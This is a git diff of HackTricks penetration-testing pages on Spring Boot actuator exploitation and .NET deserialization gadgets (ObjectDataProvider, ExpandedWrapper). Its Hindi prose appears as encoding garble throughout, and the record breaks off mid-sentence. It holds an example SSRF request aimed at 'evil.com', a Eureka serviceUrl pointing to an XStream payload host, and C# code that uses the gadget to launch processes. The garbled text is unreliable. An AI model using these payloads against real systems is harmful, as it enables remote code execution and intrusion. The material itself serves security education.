рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ Eureka serviceURL рдореЗрдВ XStream deserialization рдХреА рдХрдордЬреЛрд░реАред - рдЙрджрд╛рд╣рд░рдг рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ POST рдЕрдиреБрд░реЛрдз: ``` @@ -41,7 +41,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Other Useful Settings**: -- рдЧреБрдг рдЬреИрд╕реЗ `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, рдФрд░ `spring.datasource.tomcat.max-active` рдХрд╛ рд╣реЗрд░рдлреЗрд░ рд╡рд┐рднрд┐рдиреНрди рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ SQL injection рдпрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрдиреЗрдХреНрд╢рди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рдмрджрд▓рдирд╛ред +- рдЧреБрдг рдЬреИрд╕реЗ `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, рдФрд░ `spring.datasource.tomcat.max-active` рдХреЛ SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдпрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрдиреЗрдХреНрд╢рди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рдЬреИрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ### **Additional Information:** @@ -51,16 +51,14 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ### **Related Topics:** 1. **Env + H2 RCE**: -- `/env` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ H2 рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд╕рдВрдпреЛрдЬрди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд╡рд┐рд╡рд░рдг [рдпрд╣рд╛рдВ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред +- `/env` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ H2 рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд╕рдВрдпреЛрдЬрди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд╡рд┐рд╡рд░рдг [рдпрд╣рд╛рдВ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред + 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: - -- Spring рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ HTTP рдкрдердирд╛рдореЛрдВ рдореЗрдВ рдореИрдЯреНрд░рд┐рдХреНрд╕ рдкреИрд░рд╛рдореАрдЯрд░ (`;`) рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЕрдиреБрд░реЛрдз рдзреЛрдЦрд╛рдзрдбрд╝реА (SSRF) рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- HTTP рдкрде рдирд╛рдореЛрдВ рдореЗрдВ рдореИрдЯреНрд░рд┐рдХреНрд╕ рдкреИрд░рд╛рдореАрдЯрд░ (`;`) рдХреЗ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП Spring рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЕрдиреБрд░реЛрдз рдзреЛрдЦрд╛рдзрдбрд╝реА (SSRF) рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - рдЙрджрд╛рд╣рд░рдг рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЕрдиреБрд░реЛрдз: - ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index a46993b43..35b741771 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -2,19 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -рдпрд╣ рдкреЛрд╕реНрдЯ **рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИ рдХрд┐ ObjectDataProvider рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ **рдХреИрд╕реЗ** Serialization рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ **Json.Net рдФрд░ xmlSerializer рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ** рдЗрд╕ рдЧреИрдЬреЗрдЯ рдХреЗ рд╕рд╛рдеред +рдпрд╣ рдкреЛрд╕реНрдЯ **рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИ рдХрд┐ ObjectDataProvider рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ **рдХреИрд╕реЗ** Serialization рдкреБрд╕реНрддрдХрд╛рд▓рдп **Json.Net рдФрд░ xmlSerializer рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ** рдЙрд╕ рдЧреИрдЬреЗрдЯ рдХреЗ рд╕рд╛рдеред ## ObjectDataProvider Gadget -рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реЗ: _ObjectDataProvider Class рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рд▓рдкреЗрдЯрддрд╛ рд╣реИ рдФрд░ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЖрдк рдПрдХ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред_\ -рд╣рд╛рдБ, рдпрд╣ рдПрдХ рдЕрдЬреАрдм рд╡реНрдпрд╛рдЦреНрдпрд╛ рд╣реИ, рддреЛ рдЪрд▓реЛ рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ рдХреНрд▓рд╛рд╕ рдореЗрдВ рдРрд╕рд╛ рдХреНрдпрд╛ рд╣реИ рдЬреЛ рдЗрддрдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ: рдпрд╣ рдХреНрд▓рд╛рд╕ **рдПрдХ рдордирдорд╛рдирд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рд▓рдкреЗрдЯрдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, _**MethodParameters**_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдордирдорд╛рдиреЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╕реЗрдЯ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдФрд░ рдлрд┐рд░ **MethodName рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдорд╛рдиреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдордирдорд╛рдиреЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред\ -рдЗрд╕рд▓рд┐рдП, рдордирдорд╛рдирд╛ **рдСрдмреНрдЬреЗрдХреНрдЯ** **рдбрд┐рд╕реЗрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рддреЗ рд╕рдордп** **рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рдВрдХреНрд╢рди** **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗрдЧрд╛ред +рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реЗ: _ObjectDataProvider Class рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рд▓рдкреЗрдЯрддрд╛ рд╣реИ рдФрд░ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдПрдХ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред_\ +рд╣рд╛рдБ, рдпрд╣ рдПрдХ рдЕрдЬреАрдм рд╡реНрдпрд╛рдЦреНрдпрд╛ рд╣реИ, рддреЛ рдЪрд▓реЛ рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ рдХреНрд▓рд╛рд╕ рдореЗрдВ рдРрд╕рд╛ рдХреНрдпрд╛ рд╣реИ рдЬреЛ рдЗрддрдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ: рдпрд╣ рдХреНрд▓рд╛рд╕ **рдПрдХ рдордирдорд╛рдирд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рд▓рдкреЗрдЯрдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, _**MethodParameters**_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдордирдорд╛рдиреЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╕реЗрдЯ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП, рдФрд░ рдлрд┐рд░ **MethodName рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдорд╛рдиреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдордирдорд╛рдиреЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдПред\ +рдЗрд╕рд▓рд┐рдП, рдордирдорд╛рдирд╛ **рдСрдмреНрдЬреЗрдХреНрдЯ** **рдбрд┐рд╕реЗрд░рд┐рдпрд▓рд╛рдЗрдЬ рдХрд░рддреЗ рд╕рдордп** **рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рдВрдХреНрд╢рди** **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗрдЧрд╛ред ### **рдпрд╣ рдХреИрд╕реЗ рд╕рдВрднрд╡ рд╣реИ** **System.Windows.Data** рдирд╛рдорд╕реНрдерд╛рди, рдЬреЛ **PresentationFramework.dll** рдореЗрдВ `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡рд╣ рдЬрдЧрд╣ рд╣реИ рдЬрд╣рд╛рдБ ObjectDataProvider рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -[**dnSpy**](https://github.com/0xd4d/dnSpy) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдЙрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ рдХреЛрдб рдирд┐рд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВред** рдиреАрдЪреЗ рдХреА рдЫрд╡рд┐ рдореЗрдВ рд╣рдо **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** рдХрд╛ рдХреЛрдб рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВред +[**dnSpy**](https://github.com/0xd4d/dnSpy) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдХреНрд▓рд╛рд╕ рдХреЗ рдХреЛрдб рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВред рдиреАрдЪреЗ рджреА рдЧрдИ рдЫрд╡рд┐ рдореЗрдВ рд╣рдо **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** рдХрд╛ рдХреЛрдб рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВред ![](<../../images/image (427).png>) @@ -26,13 +26,13 @@ ![](<../../images/image (345).png>) -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреЛрдб рдХреЗ рдЕрдВрдд рдореЗрдВ рдпрд╣ `this.QueryWorke(null)` рдХреЛ рдХреЙрд▓ рдХрд░ рд░рд╣рд╛ рд╣реИред рдЪрд▓реЛ рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреНрдпрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ: +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреЛрдб рдХреЗ рдЕрдВрдд рдореЗрдВ `this.QueryWorke(null)` рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдЪрд▓реЛ рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреНрдпрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ: ![](<../../images/image (596).png>) -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ `QueryWorker` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкреВрд░рд╛ рдХреЛрдб рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рдЗрд╕рдХреЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣рд┐рд╕реНрд╕реЗ рдХреЛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ: рдХреЛрдб **`this.InvokeMethodOnInstance(out ex);` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ** рдпрд╣ рд╡рд╣ рдкрдВрдХреНрддрд┐ рд╣реИ рдЬрд╣рд╛рдБ **рдореЗрдердб рд╕реЗрдЯ рдХреЛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ `QueryWorker` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкреВрд░рд╛ рдХреЛрдб рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рдЗрд╕рдХреЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣рд┐рд╕реНрд╕реЗ рдХреЛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ: рдХреЛрдб **`this.InvokeMethodOnInstance(out ex);` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ;** рдпрд╣ рд╡рд╣ рдкрдВрдХреНрддрд┐ рд╣реИ рдЬрд╣рд╛рдБ **рдореЗрдердб рд╕реЗрдЯ рдХреЛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред -рдпрджрд┐ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреЗрд╡рд▓ _**MethodName**_ рд╕реЗрдЯ рдХрд░рдиреЗ рдкрд░ рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛, рддреЛ рдЖрдк рдпрд╣ рдХреЛрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреЗрд╡рд▓ _**MethodName**_ рд╕реЗрдЯ рдХрд░рдиреЗ рдкрд░ **рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛**, рддреЛ рдЖрдк рдпрд╣ рдХреЛрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: ```java using System.Windows.Data; using System.Diagnostics; @@ -52,16 +52,16 @@ myODP.MethodName = "Start"; } } ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЛ `System.Windows.Data` рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрджрд░реНрдн рдХреЗ рд░реВрдк рдореЗрдВ _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЛ `System.Windows.Data` рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрджрд░реНрдн рдХреЗ рд░реВрдк рдореЗрдВ _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред ## ExpandedWrapper -рдкрд┐рдЫрд▓реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдРрд╕реЗ рдорд╛рдорд▓реЗ рд╣реЛрдВрдЧреЗ рдЬрд╣рд╛рдБ **object** рдХреЛ _**ObjectDataProvider**_ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ **deserialized** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП DotNetNuke vuln рдореЗрдВ, XmlSerializer рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, object рдХреЛ `GetType` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ deserialized рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛)ред рдлрд┐рд░, _ObjectDataProvider_ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд▓рд┐рдкрдЯреЗ **object type рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреЛрдИ рдЬрд╛рдирдХрд╛рд░реА рдирд╣реАрдВ рд╣реЛрдЧреА** (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `Process`)ред рдЖрдк [DotNetNuke vuln рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдкрд┐рдЫрд▓реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдРрд╕реЗ рдорд╛рдорд▓реЗ рд╣реЛрдВрдЧреЗ рдЬрд╣рд╛рдБ **рдСрдмреНрдЬреЗрдХреНрдЯ** рдХреЛ _**ObjectDataProvider**_ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ **рдбрд┐рд╕реЗрд░рд┐рдпрд▓рд╛рдЗрдЬ** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП DotNetNuke vuln рдореЗрдВ, XmlSerializer рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ `GetType` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рд╕реЗрд░рд┐рдпрд▓рд╛рдЗрдЬ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛)ред рдлрд┐рд░, _ObjectDataProvider_ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд▓рд┐рдкрдЯреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдкреНрд░рдХрд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ **рдХреЛрдИ рдЬрд╛рдирдХрд╛рд░реА рдирд╣реАрдВ рд╣реЛрдЧреА** (`Process` рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП)ред рдЖрдк [DotNetNuke vuln рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред -рдпрд╣ рдХреНрд▓рд╛рд╕ **рдЙрди object types рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬреЛ рдПрдХ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╕рдВрд▓рдЧреНрди рд╣реИрдВ**ред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╕реНрд░реЛрдд object (_ObjectDataProvider_) рдХреЛ рдПрдХ рдирдП object type рдореЗрдВ рд╕рдВрд▓рдЧреНрди рдХрд░рдиреЗ рдФрд░ рд╣рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдЧреБрдг рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (_ObjectDataProvider.MethodName_ рдФрд░ _ObjectDataProvider.MethodParameters_)ред\ -рдпрд╣ рдкрд╣рд▓реЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдП рдЧрдП рдорд╛рдорд▓реЗ рдЬреИрд╕реЗ рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо **\_ObjectDataProvider**_\*\* рдХреЛ рдПрдХ \*\*_**ExpandedWrapper** \_ рдЙрджрд╛рд╣рд░рдг рдХреЗ рдЕрдВрджрд░ **wrap** рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдФрд░ **рдЬрдм deserialized** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рддреЛ рдпрд╣ рдХреНрд▓рд╛рд╕ _**OjectDataProvider**_ object рдмрдирд╛рдПрдЧреА рдЬреЛ _**MethodName**_ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **function** рдХреЛ **execute** рдХрд░реЗрдЧреАред +рдпрд╣ рдХреНрд▓рд╛рд╕ **рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд▓рд┐рдкрдЯреЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╕реНрд░реЛрдд рдСрдмреНрдЬреЗрдХреНрдЯ (_ObjectDataProvider_) рдХреЛ рдПрдХ рдирдП рдСрдмреНрдЬреЗрдХреНрдЯ рдкреНрд░рдХрд╛рд░ рдореЗрдВ рд▓рд┐рдкрдЯрд╛рдиреЗ рдФрд░ рд╣рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдкреНрд░реЙрдкрд░реНрдЯреАрдЬ (_ObjectDataProvider.MethodName_ рдФрд░ _ObjectDataProvider.MethodParameters_) рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\ +рдпрд╣ рдкрд╣рд▓реЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдП рдЧрдП рдорд╛рдорд▓реЗ рдЬреИрд╕реЗ рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо **_ObjectDataProvider**_ рдХреЛ рдПрдХ **_ExpandedWrapper_** рдЙрджрд╛рд╣рд░рдг рдХреЗ рдЕрдВрджрд░ **рд▓рд┐рдкрдЯрд╛рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ рдФрд░ **рдЬрдм рдбрд┐рд╕реЗрд░рд┐рдпрд▓рд╛рдЗрдЬ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛** рддреЛ рдпрд╣ рдХреНрд▓рд╛рд╕ _**OjectDataProvider**_ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ **рдмрдирд╛рдПрдЧреА** рдЬреЛ _**MethodName**_ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **рдлрдВрдХреНрд╢рди** рдХреЛ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗрдЧреАред -рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХреЗ рд╕рд╛рде рдЗрд╕ wrapper рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХреЗ рд╕рд╛рде рдЗрд╕ рд░реИрдкрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```java using System.Windows.Data; using System.Diagnostics; @@ -132,9 +132,9 @@ Console.WriteLine(desaccount.Email); } } ``` -### Json.Net рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ +### Abusing Json.Net -[ysoserial.net](https://github.com/pwntester/ysoserial.net) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореИрдВрдиреЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдмрдирд╛рдпрд╛: +Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) рдореИрдВрдиреЗ 